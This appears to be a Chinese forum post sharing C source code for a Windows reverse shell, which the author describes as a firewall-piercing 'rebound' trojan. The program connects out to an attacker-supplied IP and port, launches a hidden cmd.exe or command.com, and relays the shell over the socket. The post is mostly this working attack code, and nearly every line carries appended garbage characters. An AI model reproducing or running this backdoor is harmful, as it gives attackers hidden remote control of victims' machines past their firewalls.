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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ${U H!n{  
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/* ============================== Nu; 9  
Rebound port in Windows NT %C >Win)g  
By wind,2006/7 *^%ohCU i  
===============================*/ 7YU}-gi  
#include x1`Jlzrp,  
#include VBu6,6  
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#pragma comment(lib,"wsock32.lib") `$VnB  
{<Vw55)#0Q  
void OutputShell(); E-#}.}i5  
SOCKET sClient; Xu[A,6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wIQt f|ZI>  
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void main(int argc,char **argv) YR~)07  
{ ^<e(3S:  
WSADATA stWsaData; u,Cf4H*xS  
int nRet; X gA( D  
SOCKADDR_IN stSaiClient,stSaiServer; xNxSgvco ,  
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if(argc != 3) `c_Wk] i  
{ NFb<fD[C  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6.QzT(  
return; EYKV}`  
} *f+DV[DF  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <SNu`,/I  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J?bx<$C@  
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stSaiClient.sin_family = AF_INET; iXuSFman  
stSaiClient.sin_port = htons(0); n]P,5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^9?IS<N0]  
+Rd;>s*.Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (wZ/I(4  
{ >iI-Cs7TD  
printf("Bind Socket Failed!\n"); &\M<>>IB  
return; MJI`1*(  
} 6n$g73u<=3  
&^^V*O  
stSaiServer.sin_family = AF_INET; 05o 1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XlU`jv+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7,EdJ[CR$  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !"QvV6Lq\  
{ 5Ls ][l7  
printf("Connect Error!"); #w# :f  
return; aqN6.t  
} '/QS sZR  
OutputShell(); Hn!13+fS  
} yk&PJ;%O<  
~-o[v-\  
void OutputShell() zP|^) h5  
{ e4(E!;Z!QF  
char szBuff[1024]; ])NQzgS  
SECURITY_ATTRIBUTES stSecurityAttributes; ,\=,,1_  
OSVERSIONINFO stOsversionInfo; >K-S&Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cCbZ*  
STARTUPINFO stStartupInfo; d\v1R-V  
char *szShell; yw+LT,AQ.  
PROCESS_INFORMATION stProcessInformation; ?I332,,q  
unsigned long lBytesRead; J>p6')Y6~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `(o:;<&3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .l$:0a  
stSecurityAttributes.lpSecurityDescriptor = 0; Z=j6c"  
stSecurityAttributes.bInheritHandle = TRUE;  6>&h9@  
5V@c~1\  
?n(OH~@$i  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0*yD   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <S68UN(Ke  
*Sp_s_tS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =C 7WQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZfP$6%;_  
stStartupInfo.wShowWindow = SW_HIDE; xY>@GSO1  
stStartupInfo.hStdInput = hReadPipe; L(+I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :kQydCuK  
XDohfa _  
GetVersionEx(&stOsversionInfo); _kXq0~  
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switch(stOsversionInfo.dwPlatformId) wGg_ vAn  
{ +FJ+,|i  
case 1: 85?;\ 5%-  
szShell = "command.com"; +^|_vq^XR  
break; E.eUd4XG  
default: '8w>=9Xl  
szShell = "cmd.exe"; )9i$ 1"a(  
break; y ~n1S~5cI  
} ohna1a^  
?"$Rw32  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <NWq0 3:&  
h?'~/@  
send(sClient,szMsg,77,0); `br$kB  
while(1) fLS].b]1N  
{ ,0a\Ka {^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 76cLf~|d~  
if(lBytesRead) JIPBJ  
{ 5Mz:$5Tm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c{ ([U  
send(sClient,szBuff,lBytesRead,0); CorV!H4  
} AVi&cvhs  
else )$ M2+_c  
{ LwYWgT\e  
lBytesRead=recv(sClient,szBuff,1024,0); 1Li*n6tLX`  
if(lBytesRead<=0) break; F3[,6%4v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5]xSK'6W  
} CEW1T_1U<\  
} EF6h>"']/  
XY#.?<"Q8  
return; dXfLN<nD>U  
}
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